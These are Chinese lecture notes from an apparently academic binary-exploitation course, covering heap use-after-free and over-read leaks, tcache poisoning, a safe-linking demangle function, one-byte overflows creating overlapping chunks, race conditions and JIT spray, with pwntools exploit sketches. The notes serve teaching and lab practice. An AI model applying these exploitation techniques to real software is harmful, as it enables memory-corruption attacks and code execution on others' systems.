如果程序存在漏洞,允许我们读取已释放内存块的内容,或者读取超出当前分配块边界的数据,我们就可能泄露这些元数据,从而获得堆内存的布局信息。
堆内存布局与确定性
首先,我们需要理解堆内存的布局是确定性的。虽然堆的起始地址会因地址空间布局随机化而随机变化,但一系列malloc和free操作所产生内存块的相对距离是可预测的。
例如,连续分配三个64字节的块:
void *a = malloc(64); // 块 A
void *b = malloc(64); // 块 B
void *c = malloc(64); // 块 C
块B在内存中总是紧跟在块A之后(相隔80字节,包含16字节元数据),块C紧跟在块B之后。这种确定性是我们分析和利用的基础。
元数据与tcache
当一个块被释放并放入tcache(线程局部缓存)时,其用户数据区域的前8个字节会被用来存储一个next指针,指向空闲列表中的下一个块。如果它是列表中的唯一块,这个指针则为NULL。
块的大小和状态标志等信息,则存储在该块起始地址之前的元数据区域。对于一个64字节的请求,实际分配的块大小是80字节(64字节用户数据 + 16字节元数据)。
演示:利用UAF泄露堆地址
我们的示例程序提供了一个菜单,允许进行分配、释放、读取和写入操作。它存在一个释放后使用漏洞:释放一个内存块后,并未立即将存储该指针的全局数组项置空,我们仍然可以通过该索引向已释放的块写入数据。
以下是利用该漏洞泄露堆地址的步骤:
- 分配两个块:分配块0和块1,大小均为64字节。
- 按顺序释放:先释放块1,再释放块0。这会将它们链接到
tcache的单向链表中。此时,链表头是块0,其next指针指向块1。 - 通过UAF读取:程序允许我们“写入”指定索引块的内容到屏幕。我们选择“写入”索引0(即块0)。由于块0已被释放,其用户数据区的前8个字节现在是
next指针(指向块1)。通过这个操作,我们就能将这个指针值打印出来,从而获得一个堆地址。
关键点在于,我们操作的是已被释放的块,但程序仍保留了它的指针,允许我们读取其内容,从而泄露了管理数据。
演示:通过过度读取泄露元数据
另一种技术是过度读取。即使程序正确地在释放后将指针置空,如果我们能读取的数据量超过当前分配块的边界,我们就能读到相邻块的内容。
以下是操作步骤:
- 分配三个块:分配块0、块1、块2。
- 释放特定块以构造链表:先释放块2,再释放块1。这使得块1的
next指针指向块2。 - 从活动块过度读取:块0始终处于已分配状态。我们请求从块0开始“写入”100字节。由于块0只有64字节用户空间,接下来的36字节读取就会超出其边界,进入紧随其后的块1的元数据区域。这样,我们就能读到块1的
next指针(指向块2),再次实现堆地址泄露。
这个技巧的关键在于理解内存的物理布局。即使我们不能直接访问已释放的块,但通过操作相邻的活动块并读取超出其范围的数据,我们仍然可以触及到那些已释放块的元数据。
工具使用:GDB与Pwntools
在分析过程中,我们使用了GDB的heap chunks和heap bins命令来可视化堆状态。同时,我们使用pwntools库编写Python脚本来自动化漏洞利用过程。
关于输入,需要注意程序使用的是scanf还是read。scanf通常解析输入直到遇到换行符或空格,因此通常使用sendline。而read读取原始字节,通常使用send。判断方法可以通过逆向工程或使用ltrace跟踪库函数调用。
总结
本节课我们一起学习了动态内存分配器误用的基础知识。我们了解到:
- 堆内存的布局具有确定性。
- 分配器使用元数据(如
next指针和大小字段)来管理内存块。 - 释放后使用和过度读取漏洞可以导致这些元数据泄露,从而揭示堆内存布局。
- 利用这些漏洞需要精心构造内存块的分配和释放顺序。
- 使用GDB和
pwntools等工具对于分析和利用至关重要。
理解这些底层机制是识别和利用更复杂堆漏洞的第一步。在接下来的课程中,我们将探索如何利用这些泄露的信息进行更强大的攻击。
15:动态分配器误用


在本节课中,我们将学习动态内存分配器(堆)的误用技术,特别是如何利用“释放后使用”漏洞获取任意读写能力,并深入探讨现代堆保护机制“安全链接”的原理及其绕过方法。

课程概述

上一节我们介绍了堆的基本结构和Tcache机制。本节中,我们将看看如何利用堆分配器的特定行为来实现更强大的攻击原语,并应对新的安全缓解措施。
动态分配器误用模式
以下是利用“释放后使用”漏洞获取任意指针的通用模式。该模式的核心是操纵Tcache的next指针。






- 分配两个相同大小的内存块:
malloc(20); malloc(20); - 按顺序释放这两个内存块:
free(1); free(2);。这会将两个块放入Tcache空闲链表,第二个被释放的块位于链表头部,其next指针指向第一个被释放的块。 - 覆盖第二个块的
next指针:由于该块已被释放但指针未被置空,我们可以通过某些方式(如缓冲区溢出)覆盖其next指针的前8个字节,将其指向我们想要的目标地址。 - 重新分配两次:
malloc(20); malloc(20);。第一次malloc会返回之前第二个块的地址。第二次malloc则会从被我们篡改的next指针处分配内存,从而返回一个指向我们指定地址的指针。



一旦获得这个指向任意地址的指针,程序后续对该指针的读或写操作就变成了任意读或任意写。这极大地突破了缓冲区溢出等线性内存破坏的限制。


安全链接机制


从glibc 2.32开始,引入了一项名为安全链接的堆保护机制。它旨在防止上述对next指针的简单篡改。




安全链接通过混淆(mangle)next指针的值来实现保护。其核心操作是一个异或运算。







保护指针公式:
protected_ptr = (position >> 12) XOR ptr



解保护指针公式:
ptr = (position >> 12) XOR protected_ptr

其中:
ptr:真实的next指针值。position:存储该next指针的内存地址(即next指针自身的地址)。protected_ptr:存储在实际内存中的、被混淆后的值。





关键点:
- 右移12位(
>> 12)是为了移除地址中与页内偏移相关的常量部分(最低3个nibble),只留下受ASLR随机化的部分参与运算。 - 由于异或操作是可逆的,理论上如果知道
position和protected_ptr,就可以还原出真实的ptr。 - 在实践中,攻击者通常只能泄露或覆盖
protected_ptr(即混淆后的值),而不知道position。

绕过安全链接

虽然我们不知道position,但可以利用堆内存布局的确定性进行推测。对于刚启动的程序中的小型分配,堆块通常位于相同的虚拟内存页上。这意味着ptr和position的高位字节是相同的。

基于这个观察,我们可以仅从protected_ptr推导出真实的ptr。以下是一个Python解混淆函数示例:



def demangle(prot_ptr):
mid = prot_ptr ^ (prot_ptr >> 12)
return mid ^ (mid >> 24)



这个函数通过将混淆值自身移位并异或,抵消了未知的position >> 12部分,从而还原出真实的指针值。注意:此函数假设ptr和position位于同一内存页。如果它们跨页,还原出的指针最低位nibble可能会有偏差,需要进行少量猜测(如±1)来修正。





安全链接还带来另一个限制:被还原的指针(ptr)必须是对齐的(即最低位nibble为0),否则堆管理器会认为检测到内存损坏而中止程序。这意味着我们无法直接指定任意地址,而只能指定对齐的地址。
总结


本节课中我们一起学习了堆利用中的核心攻击模式——通过操纵Tcache的next指针实现任意地址读写。我们还深入分析了现代glibc引入的安全链接保护机制,它通过混淆指针来增加利用难度。我们了解到,通过利用堆内存布局的确定性特征,可以构造算法从混淆值中还原出真实指针,从而在特定条件下绕过该保护。掌握这些原理对于理解现代堆漏洞利用与防护至关重要。
16:动态分配器误用
概述
在本节课中,我们将学习如何利用堆内存的动态分配器(如malloc/free)的漏洞。我们将探讨如何通过操纵堆的元数据和布局来创建重叠的内存块,从而泄露或控制程序数据。课程内容包括堆元数据的基本结构、如何通过单字节溢出修改块大小,以及如何利用这些修改来创建重叠分配,最终实现信息泄露。






课程内容
堆元数据与块大小
上一节我们介绍了堆的基本结构。本节中我们来看看堆块(chunk)的元数据是如何组织的。
一个堆块在内存中的布局包括其自身的元数据和用户可用的“分配区域”。对于malloc返回的指针ptr,其前16个字节(在64位系统上)通常包含元数据。具体来说:
ptr - 16或ptr - 8的位置存放着前一块的大小(prev_size)。ptr - 8或ptr - 0的位置存放着当前块的大小(size)。
这个size字段不仅包含块的总大小,其最低的几个比特位还用作标志位(例如,指示前一个块是否在使用中)。
核心概念公式:
对于一个由 p = malloc(n) 返回的指针,其相关元数据地址可以近似表示为:
- 当前块大小地址:
size_addr = p - 8(具体偏移可能因实现而异) - 前一块大小地址:
prev_size_addr = p - 16 - 下一个堆块的起始地址:
next_chunk = p + (size & ~0xF)(对齐后的大小)
单字节溢出与大小篡改
理解了元数据的位置后,我们来看看一个常见的漏洞场景:单字节溢出。


假设我们有一个分配,允许写入分配大小 + 1字节。如果我们分配了40字节(malloc(40)),我们实际上可以写入41字节。这多出的1字节会溢出到紧邻分配区域之后的内存。
这块内存是什么?根据堆的布局,它很可能是下一个堆块的size字段的最低有效字节。通过精心控制这个字节,我们可以修改下一个堆块的大小。例如,将其改大,使其在释放后被放入一个更大的tcache或bin中。
以下是这个过程的简化描述:
- 分配块A(例如40字节)。
- 分配块B(例如40字节),它紧邻块A之后。
- 向块A写入41字节,其中最后一个字节覆盖了块B的
size字段的LSB。 - 现在块B的元数据大小被改变了(例如从0x40变成了0xf0)。


创建重叠分配
修改了块B的大小后,我们可以利用它来创建重叠的内存区域。

- 释放被篡改的块B:当我们
free(B)时,分配器会根据我们篡改后的大小(如0xf0)将其放入对应的tcache或fastbin。 - 重新分配大块:随后,我们请求分配一个大小为
篡改后大小 - 元数据大小(例如0xf0 - 0x10 = 0xe0)的内存块。分配器很可能将刚刚释放的块B返回给我们。 - 重叠发生:现在我们通过这个新分配的大块(称为块C),可以访问的内存区域远远超出了原始块B的边界。如果块B之后有一个我们感兴趣的“受害者”块(块V),那么块C的内存区域就会与块V重叠。我们通过块C读写数据,会直接影响块V的内容。
利用重叠进行信息泄露
创建了重叠分配后,我们如何利用它呢?一个直接的利用是信息泄露。


假设受害者块V中存储着一个秘密值(如secret = “ASI”)。我们的块C与它重叠。虽然我们可能不知道秘密值的精确偏移,但我们可以:
- 向块C填充大量可打印字符(如
‘A’)。 - 使用像
puts这样的输出函数打印块C的内容。 puts会一直打印直到遇到空字节(\x00)。由于我们填充了整个块C,打印会继续进入重叠的受害者块V区域,从而将秘密值一起打印出来。
核心概念代码(逻辑描述):
# 假设操作原语
malloc(idx, size)
free(idx)
write(idx, data)
read_leak(idx) # 例如通过 puts
# 利用步骤
malloc(0, 40) # 块A
malloc(1, 40) # 块B (紧邻A之后)
malloc(2, 100) # 受害者块V (紧邻B之后)
# 1. 单字节溢出,修改块B的size
payload_to_A = b‘A‘*40 + b‘\xf0‘ # 溢出1字节,将B的size改为0xf0
write(0, payload_to_A)
# 2. 释放被篡改的块B
free(1)
# 3. 分配一个大块,与B重叠,并覆盖到V
malloc(3, 0xf0 - 0x10) # 分配块C,大小对应篡改后的size

# 4. 向块C写入数据,覆盖到V的部分区域
write(3, b‘B‘*0xe0)

# 5. 泄露信息:通过打印块C,连带读出V中的秘密数据
leak = read_leak(3)
secret = extract_secret_from_leak(leak) # 从输出中解析出秘密值
关于Safe-Linking的说明
在上述利用中,我们主要操作的是size字段,而不是堆块指针。Safe-Linking是一种保护机制,它对tcache和fastbin中的fd(前向指针)进行异或混淆,以防止直接篡改。然而,在我们演示的重叠分配利用中,并未涉及直接篡改fd指针,因此Safe-Linking并未构成障碍。这说明了安全机制的有效性具有针对性。

总结
本节课中我们一起学习了堆利用中的一项关键技术:通过单字节溢出篡改堆块大小,进而创建重叠的内存分配,最终实现信息泄露。我们回顾了堆元数据的布局,理解了如何通过溢出修改size字段,并演示了如何利用被篡改的、释放后的块来获得一个更大的重叠分配区域。最后,我们利用puts等字符串函数的特性,通过这个重叠区域泄露了相邻内存中的敏感数据。掌握这些堆操作的原理,是理解更复杂堆漏洞利用的基础。
17:程序利用
概述
在本节课中,我们将探讨程序利用模块的核心概念。这是一个综合性模块,旨在应用之前学过的知识,例如逆向工程、内存破坏和堆利用。我们将学习如何在没有明确提示的情况下识别漏洞,并利用它们实现目标。

课程进度与成绩
上一节我们介绍了课程的整体结构,本节中我们来看看当前模块的进度和班级的整体表现。
课程已进行到一半,这是第五个模块。程序利用模块是一个累积性评估,不应包含太多全新的概念,主要是对已学知识的巧妙应用。
成绩分布显示,大多数学生在该模块中取得了60%或更高的分数,整体表现良好。关于“周”的定义和截止时间,已调整为从每周一午夜开始重置,以保持公平和一致。
关于额外学分,班级平均参与度较低。鼓励大家利用论坛发帖和帮助他人等机会获取额外学分。
挑战设计与新内容
关于挑战设计,程序利用和后续的系统利用模块都被标记为“幼儿”级别,因为它们需要综合运用基础概念。
目前程序利用模块包含11个挑战。计划新增更多挑战,这些新挑战将更具难度,类似于在堆模块中添加的额外挑战。
下一个模块原定为内核利用。是否按计划进行取决于新服务器和配套设施的准备情况。如果未准备好,可能会调整为竞态条件或沙箱逃逸模块。
处理剥离符号的二进制文件
在逆向工程中,我们经常需要分析剥离了符号的二进制文件。本节中我们来看看如何有效地使用调试器来处理它们。
当二进制文件被剥离后,我们无法直接通过函数名(如 main)设置断点。我们需要找到目标地址在ELF文件中的偏移量,然后结合运行时的基地址进行计算。




以下是处理剥离二进制文件的步骤:
- 使用IDA或类似工具分析二进制文件,找到目标指令的偏移量(例如
0x1bc)。 - 在GDB中启动程序后,获取程序的基地址(例如
0x555555554000)。 - 计算绝对地址:
基地址 + 偏移量。 - 在GDB中使用该绝对地址设置断点。
对于非SUID二进制文件,GDB默认会禁用地址空间布局随机化,这使得基地址在多次运行中保持一致。对于SUID二进制文件,一种方法是先复制一份副本,在副本上进行调试。在Python脚本中(例如使用pwntools),可以通过设置 aslr=False 参数来禁用ASLR。
漏洞发现与利用思路
在累积性模块中,发现漏洞本身是关键挑战。我们需要系统地分析程序,而不是盲目尝试。
面对一个未知的二进制文件,首先应建立其心智模型。
以下是初步分析步骤:
- 运行程序几次,观察其输入输出行为。
- 使用IDA等反汇编工具查看程序逻辑。
- 寻找明显的危险函数(如
read,strcpy)和缓冲区大小。 - 思考可能存在的漏洞类型:缓冲区溢出、格式化字符串、整数溢出等。
以课程中讨论的某个 yawn85 模拟器挑战为例。虽然程序提示可能存在内存破坏,但直接对输入缓冲区进行溢出尝试并未成功,因为缓冲区大小足够。这迫使我们需要更深入地逆向模拟器逻辑,寻找其他潜在的漏洞点,例如模拟器指令解析或内存访问中的逻辑错误。
深入探讨:帧内溢出
我们之前讨论过栈溢出通常针对当前函数的返回地址。本节中我们来看看一种更复杂的情况:帧内溢出。

帧内溢出是指溢出数据覆盖了调用者函数的栈帧,而非当前函数。例如,函数A调用函数B,漏洞存在于函数B中,但溢出数据影响了函数A的栈帧。


考虑以下栈布局:
[函数B的局部变量...][函数B的canary][函数B的保存RBP][函数B的返回地址][函数A的局部变量...][函数A的canary][函数A的保存RBP][函数A的返回地址]
如果从函数B发生溢出,并想覆盖函数A的返回地址,就必须越过函数B的canary和返回地址,并确保不破坏函数A的canary和保存RBP,最终精确覆盖函数A的返回地址。
这种技术可能用于更复杂的利用场景,例如当目标数据(如某个关键标志变量)存储在调用者函数的栈帧中时。
文件描述符与继承
在利用过程中,有时需要调用未提供的系统调用(如 open)。本节中我们来看看文件描述符继承如何可能提供替代方案。
文件描述符在进程间可以继承。父进程打开的文件描述符,其子进程默认可以访问。
例如,在bash中:
# 在bash中打开一个文件描述符
exec 367<> /tmp/secret_file
# 子进程ls将继承描述符367
ls -l /proc/self/fd/
在漏洞利用中,如果目标二进制文件没有直接调用 open,但它是从另一个进程(例如,通过 system 或 popen)启动的,并且父进程已经打开了目标文件(如flag),那么子进程可能已经拥有了一个可用的文件描述符。这需要根据具体的程序逻辑和环境来判断。

总结
本节课中我们一起学习了程序利用模块的总体思路和多个关键技术点。
我们回顾了课程进度,强调了在无符号二进制文件中定位代码的方法。我们深入探讨了如何系统性地进行漏洞挖掘,而非盲目测试。我们还分析了帧内溢出这种更精细的栈利用技术,并讨论了文件描述符继承在特定场景下可能提供的利用途径。

核心在于将逆向工程、内存布局理解和漏洞利用技巧结合起来,在复杂的程序环境中识别并利用安全缺陷。记住,耐心分析和建立对程序的完整理解是成功的关键。
18:程序利用

在本节课中,我们将学习程序利用模块的核心概念,这是一个综合性的模块,结合了逆向工程、内存破坏、Python脚本编写和Shellcode等多种技能。我们将通过分析一个Y86-85模拟器中的挑战,来探讨如何识别漏洞、构造利用链并最终控制程序执行流。


课程概述与背景

上一节我们介绍了程序利用模块作为期中考试的性质。本节中,我们来看看如何将之前学到的技能综合应用到一个具体的Y86-85挑战中。
这个模块名为“程序利用”,它结合了我们目前讨论过的许多内容。Y86-85架构会反复出现。有人评论说,这些程序利用关卡非常像简化版的逆向工程挑战。它们确实是,但也不完全是。这些挑战需要你处理Y86-85代码,因此这是我们第一次大量接触Y86-85汇编器和反汇编器,希望你已意识到它们本质上是相似的。
如果你不喜欢Y86-85——这似乎是普遍看法——那么这就是你需要面对的。恭喜你坚持到了这门课的这部分内容。在后续关于推测执行和无法调试内容的微架构部分,你还会遇到Y86-85。所以,Y86-85会一直伴随着我们。
虚拟机器(VM)本质上也是一个程序。Y86-85 VM或CPU模拟层是C代码,是一个我们可以逆向工程、理解其工作原理、查看内存状态并推理其行为的二进制文件。虚拟机归根结底也只是一个程序。即使是一个更高级的虚拟机,比如VirtualBox,归根结底也只是一个用户态程序。因此,你可以将相同的概念应用于它。不要因为它是VM就觉得它神秘可怕,希望这门课程能揭示这些东西其实并不那么神秘或可怕。
这个模块就像一个期中考试,我们把很多东西结合在一起:使用Pwntools编写Python脚本、逆向工程、利用内存破坏,这里还有一些Shellcode。我们在这个模块中把所有部分整合在一起,希望完成之后你会觉得:“嘿,这挺巧妙的”,这是一些有趣且新颖的东西。而早期的挑战更像是“按部就班地做”,这个模块则需要更多的批判性思维和应用能力。
挑战的难度是递进的,名称上有“婴儿”和“幼儿”阶段。这不仅仅是本课程的期中考试,你会看到的所有内容都将是“幼儿”级别。这就像是学习爬行、学习走路、学习蹒跚学步。有人问,这些挑战与真实世界的情况匹配度如何?公平地说,这些挑战在某种程度上是人为设计的,因为它们必须如此。它们旨在教你特定的概念,让你练习非常具体的技能。当谈到现实世界的漏洞利用时,它们更接近我们在这个模块中所做的,有更多的活动部件,或者更接近你在堆或系统利用中看到的情况。控制流的获取路径不那么清晰。
环境变量与地址空间布局随机化
上一节我们提到了程序利用中的综合技能。本节中,我们来看看一个具体的技术细节:环境变量对栈地址的影响。

环境变量存储在栈上。这是一个需要理解的重要概念。地址空间布局随机化(ASLR)和位置无关可执行文件(PIE)是两个相关但不同的概念:
- PIE 是一个编译选项,决定二进制文件本身在内存中加载时是否随机化。
- ASLR 是一个运行时系统配置,内核或系统会尝试随机化地址。
如果ASLR启用(通常如此),而二进制文件没有编译为PIE,那么二进制本身的地址是固定的。但是,栈地址仍然会被随机化,因为栈是独立的内存区域,与二进制本身无关。PIE与栈的随机化无关。

当ASLR禁用时,栈地址变得确定。此时,环境变量的变化就会对栈地址产生可预测的影响。在栈上添加或修改环境变量会改变栈的布局,从而影响局部变量和缓冲区的地址。

在利用开发中,特别是在禁用ASLR的挑战环境中,我们需要一个一致的执行环境,以确保我们的利用地址每次都能正确命中。使用调试器(如GDB)启动程序可能会引入额外的环境变量(如 _),从而改变栈布局。为了避免这种干扰,最佳实践是:
- 从脚本中启动目标进程(例如使用Pwntools),并控制其环境变量(例如设置为空字典
env={})。 - 然后附加调试器(
gdb.attach(p))到正在运行的进程。这样调试器不会改变进程的初始环境状态。
以下是使用Pwntools控制环境的示例代码:
from pwn import *
p = process('./challenge', env={}) # 启动进程,环境变量为空
# 或者附加调试器
gdb.attach(p)

文件描述符与进程继承
在讨论了环境变量之后,我们转向另一个系统概念:文件描述符及其在进程间的继承,这在某些挑战中至关重要。


在Linux/C程序中,默认情况下,子进程会继承父进程的文件描述符。你可以通过系统调用(如 open)创建文件描述符,并通过 dup2 复制它们。
然而,在Python中,使用 subprocess 模块(Pwntools底层也使用它)启动新进程时,默认行为是关闭所有文件描述符。这与C/Linux的默认行为不同。为了在Python启动的进程中继承文件描述符,需要显式设置 close_fds=False。


以下是如何在Python中实现文件描述符继承的示例:
import subprocess
# 默认关闭文件描述符
proc = subprocess.Popen(['./myprogram'])
# 为了继承文件描述符,例如从父进程继承已打开的某个描述符
proc = subprocess.Popen(['./myprogram'], close_fds=False)
在Pwntools中,你可以在创建进程时传递相应的参数来达到类似效果。理解这一点对于解决那些依赖于预先打开特定文件描述符(如flag文件)的挑战非常关键。
漏洞识别与分析方法论
掌握了环境变量和文件描述符的知识后,我们进入核心环节:面对一个未知的二进制文件,如何系统性地识别和分析漏洞。
我们以程序利用模块的某个Y86-85挑战(例如第7关)为例。首先,不要一头扎进复杂的反汇编代码中。应该遵循一个系统化的分析流程:
-
运行与观察:首先运行程序,输入一些测试数据,观察其行为。使用
checksec工具检查二进制保护机制。- 输出显示
No canary found和No PIE enabled。这意味着栈溢出是可能的,并且代码地址是固定的。 - 输出提到栈是可执行的(
NX disabled)。这意味着注入Shellcode是一个可行的利用途径。 - 这些信息勾勒出了利用的大致轮廓:通过栈溢出覆盖返回地址,跳转到注入的Shellcode。
- 输出显示
-
假设与验证:尝试进行缓冲区溢出。发送大量数据(例如使用
cyclic模式),观察程序是否崩溃以及崩溃点。如果发现无法直接覆盖到返回地址,那么漏洞点可能不在这里,或者存在长度限制。 -
寻找其他输入点:如果主输入点无法达到目标,问自己:“还有哪里可以输入大量数据?” 这引导我们去寻找程序中的其他读取函数,例如
read、fgets、scanf等。在Y86-85模拟器中,可能会通过read系统调用来实现输入。 -
逆向工程聚焦:使用反汇编工具(如IDA)不是从
main开始逐行阅读,而是有目的地搜索。例如,搜索read函数的交叉引用,查看哪些地方调用了读取功能。重点关注那些可能没有进行严格边界检查的读取点。 -
理解关键逻辑:找到候选的读取函数后,分析其参数控制。在Y86-85中,读取的参数(文件描述符、缓冲区指针、读取长度)可能来自寄存器,而这些寄存器可能受我们输入的Y86-85代码控制。需要分析相关的解码逻辑,弄清楚如何设置这些寄存器。
-
构造利用链:一旦找到可控的读取点,并且可以设置足够大的读取长度和合适的缓冲区指针(指向栈上靠近返回地址的位置),就可以规划利用链:
- 第一段输入:Y86-85代码,用于设置寄存器并触发可控的
read调用。 - 第二段输入:通过该
read调用注入的Shellcode和填充数据,旨在覆盖返回地址。 - 覆盖返回地址,使其指向注入的Shellcode。
- 第一段输入:Y86-85代码,用于设置寄存器并触发可控的
这种方法论的关键在于基于假设进行有目的的调查,而不是无目的地阅读所有代码。你的目标是回答一个具体的问题:“我如何将足够多的字节写入到返回地址附近?” 所有分析都应围绕这个问题展开,避免陷入不相关代码的细节中。
Y86-85 读取逻辑分析
在应用上述方法论时,我们可能会在IDA中看到类似以下逻辑的Y86-85读取函数(例如 read_mem):
// 伪代码,示意逻辑
size = vm->reg[C]; // 读取长度来自寄存器C
buffer_ptr = &vm->code_mem[vm->reg[B] * 3]; // 缓冲区指针,基于寄存器B计算,乘以3因为每条指令3字节
if (buffer_ptr + size > &vm->code_mem[255]) {
size = 255 - vm->reg[B]; // 防止写入超出代码内存区域
}
read(fd, buffer_ptr, size);
需要理解的关键点:
- Y86-85代码内存空间有限(例如256字节)。
buffer_ptr的计算是reg[B] * 3,这是因为Y86-85指令是3字节对齐的,reg[B]可能表示指令索引。- 存在一个边界检查,防止从
buffer_ptr开始写入时超出代码内存的末尾。如果reg[B]很大,接近末尾,那么允许的最大size会相应减小。 - 为了最大化写入长度,可能需要将
reg[B]设置为0(从代码内存起始处开始写),并将reg[C]设置为允许的最大值。
总结与思维模式
本节课中,我们一起学习了程序利用中的综合技能。我们从环境变量和ASLR/PIE的细微差别开始,了解了它们对栈布局确定性的影响。接着,我们探讨了文件描述符在进程间的继承行为,特别是在Python脚本中需要注意的默认行为变化。
核心部分,我们深入探讨了面对一个复杂挑战(如Y86-85模拟器漏洞)时的系统化分析方法论。其要点是:
- 信息收集:运行程序,使用
checksec,建立初步认识(有无栈保护、地址是否固定、栈是否可执行)。 - 建立假设:基于信息,形成利用思路(例如,栈溢出 + Shellcode)。
- 针对性调查:如果直接路径不通,寻找其他可能的输入向量(如其他
read调用)。 - 逆向工程聚焦:使用工具(如IDA)有目的地搜索关键函数和逻辑,而不是通读所有代码。
- 理解与构造:深入分析关键函数,理解其参数控制逻辑,然后构造多阶段的利用载荷。

最重要的是培养一种基于目标的调查思维。始终清楚你想要实现什么(例如,“覆盖返回地址”),然后寻找能够帮助你实现这一目标的具体代码片段和路径。避免陷入理解所有功能的陷阱,只关注与你的攻击面相关的部分。这种思维模式对于高效解决复杂的漏洞利用挑战至关重要。
19:程序利用
在本节课中,我们将学习程序利用中的两个核心概念:竞态条件 和 即时编译。我们将通过分析一个具体的挑战程序,理解输入处理中的时序问题,并探讨如何利用JIT编译器的特性来执行任意代码。
竞态条件与输入处理
上一节我们介绍了程序利用的基本概念,本节中我们来看看一个常见的陷阱:竞态条件。当多个操作(如发送输入和程序读取)的执行顺序不确定时,就会发生竞态条件。
问题分析
考虑一个简单的C程序,它连续两次调用 read 函数从标准输入读取数据:
#include <stdio.h>
#include <unistd.h>
int main() {
char buff1[64];
char buff2[64];
read(0, buff1, 64); // 第一次读取
read(0, buff2, 64); // 第二次读取
printf("%s\n", buff1);
printf("%s\n", buff2);
return 0;
}
一个典型的利用脚本可能如下所示:
from pwn import *
p = process('./a.out')
payload1 = b"payload one"
payload2 = b"payload two"
p.send(payload1)
p.send(payload2)
p.interactive()
脚本的意图是让 payload1 进入第一次 read,payload2 进入第二次 read。然而,这并不能保证。因为 p.send() 操作和程序的 read() 操作是并发执行的。如果程序在脚本发送第二个负载之前就执行了两次 read,那么第一次 read 可能会因为管道为空而阻塞等待,直到两个负载都被发送,然后一次性读取它们。这就是一个竞态条件。
GDB调试的影响
当使用GDB调试程序时,问题会更加明显。GDB会暂停被调试的程序,但不会暂停Python脚本。因此,脚本可能会在程序开始执行任何 read 调用之前,就将两个负载全部发送到管道中。当程序恢复执行并调用 read 时,它会一次性读取管道中的所有数据(即两个负载),导致行为与预期不符。
解决方案
以下是几种解决竞态条件、确保输入顺序的方法:



-
使用
recvuntil进行同步:在每次发送后,等待程序输出特定的提示字符串(例如 “Enter input:”),这表示程序已准备好接收下一次输入。p.send(payload1) p.recvuntil(b"Prompt for second read:") # 假设程序会输出这个提示 p.send(payload2) -
填充缓冲区:如果知道每次
read读取的确切字节数(例如64字节),可以精确控制每次发送的数据量,并用空字节填充。payload1 = b"payload one".ljust(64, b'\x00') payload2 = b"payload two".ljust(64, b'\x00') p.send(payload1 + payload2) # 一次性发送,但依靠填充确保分割这里,第一个
read会读取前64字节(包含payload one和填充的空字节),第二个read会读取接下来的64字节。空字节(\x00)在C字符串中表示结束,因此printf打印时只会显示到第一个空字节之前的内容。 -
使用延时:在两次发送之间插入短暂的延时(例如
time.sleep(0.1)或p.clean()),但这是一种不可靠的“权宜之计”,不推荐在生产代码中使用。

JIT编译与代码注入
在理解了输入处理的时序问题后,我们转向一个更高级的话题:即时编译。JIT(Just-In-Time)编译是一种在运行时将中间代码(如字节码)编译成机器码的技术。某些挑战会模拟一个JIT编译器,这为我们提供了新的攻击面。
挑战分析


考虑一个“Yan85 64位”挑战。它接受Yan85代码,通过一个JIT编译器将其转换为x86-64机器码,然后执行。关键观察点在于JIT编译器如何映射指令。
例如,Yan85指令 immediate a, 0x0102030405060708 可能会被JIT编译为以下x86-64指令:
mov r10, 0x0102030405060708
对应的机器码可能是:49 BA 08 07 06 05 04 03 02 01。
JIT Spray 攻击原理

JIT Spray的核心思想是:将恶意shellcode隐藏在JIT编译器生成的“常量”数据中,然后通过偏移执行流来执行这些常量字节。
- 构造恶意常量:我们控制传入JIT的Yan85代码中的立即数。例如,我们可以让立即数本身就是一个有效的x86指令序列。
- 假设我们想让程序执行
push rax; pop rbx。对应的机器码很短(例如0x50 0x5B)。 - 我们可以构造一个Yan85指令,其立即数为
0x5B50000000000000(注意x86是小端字节序,所以有效指令50 5B在内存中看起来是5B 50)。
- 假设我们想让程序执行

-
偏移执行:JIT编译器会将我们的指令编译成类似
mov r10, 0x5B50000000000000的代码,并写入一块内存(假设地址是0x13370000)。正常执行会从0x13370000开始,执行mov指令。但是,如果我们能将程序计数器(EIP/RIP)重定向到0x13370002(即跳过开头的49 BA这两个字节),处理器就会开始将后续的字节5B 50 00 00...解释为指令,从而执行pop rbx; push rax。 -
处理垃圾字节:由于我们跳过了JIT生成的前缀字节,后续的指令流中会夹杂着其他JIT指令的“垃圾”字节(如其他
mov指令的操作码)。为了保持执行连贯,我们的shellcode必须在每执行完一小段(例如8字节)后,包含一个跳转指令,跳过接下来的垃圾字节,到达下一个由我们控制的常量区域。
攻击链总结
- 编写Yan85代码,其中包含多个
immediate指令。 - 精心设置每个立即数的值,使得它们从某个偏移量(例如+2)开始看,是一段连贯的x86 shellcode,并且每段shellcode末尾都有一个短跳转,指向下一个“常量”区域的起始偏移点。
- 利用程序中的内存破坏漏洞(例如缓冲区溢出),将返回地址覆盖为JIT代码区域的某个偏移地址(例如
0x13370002)。 - 当程序执行到我们的shellcode时,它会沿着我们布置的“跳板”执行,最终达成攻击目标(如启动一个shell)。

本节课总结
本节课中我们一起学习了程序利用中的两个重要方面:
- 竞态条件:在多进程/线程环境中,操作的时序不确定性可能导致程序行为异常。在编写漏洞利用脚本时,需要使用同步机制(如
recvuntil)或精确的缓冲区填充来确保输入按预期被处理。 - JIT Spray:这是一种利用即时编译器特性的高级代码注入技术。通过将shellcode隐藏在JIT生成的代码常量中,并巧妙地偏移执行起点,可以绕过诸如W^X(不可同时写和执行)的内存保护机制。这要求攻击者对目标JIT的编译逻辑有深入的理解,并能精心构造输入数据。

理解这些概念有助于我们更全面地认识软件漏洞的多样性和利用手法的巧妙性。
20:竞态条件


在本节课中,我们将学习竞态条件的概念,特别是“检查时间-使用时间”漏洞。我们将探讨其原理、调试的挑战性,并学习如何通过理解时序而非单纯追求速度来有效利用竞态条件。

概述
竞态条件是计算机安全中的一个重要议题,它源于多个进程或线程在未受控的情况下访问和操作共享资源。本节课我们将深入理解竞态条件的本质,学习如何分析和利用这类漏洞,并掌握编写有效利用代码的策略。
竞态条件的核心概念
竞态条件,特别是“检查时间-使用时间”漏洞,包含三个关键部分:
- 共享资源:一个可以被多个执行流访问的变量、文件或内存区域。
- 检查时间:程序检查共享资源状态(例如,检查一个值是否为真或一个文件是否存在)的时刻。
- 使用时间:程序基于之前的检查结果,实际使用该共享资源的时刻。
漏洞存在于检查和使用的两个操作之间。如果攻击者能在检查之后、使用之前改变共享资源的状态,就可能使程序执行非预期的操作。
对速度的误解
许多初学者认为,赢得竞态条件的关键是编写极快的利用代码。然而,这种想法并不完全正确。
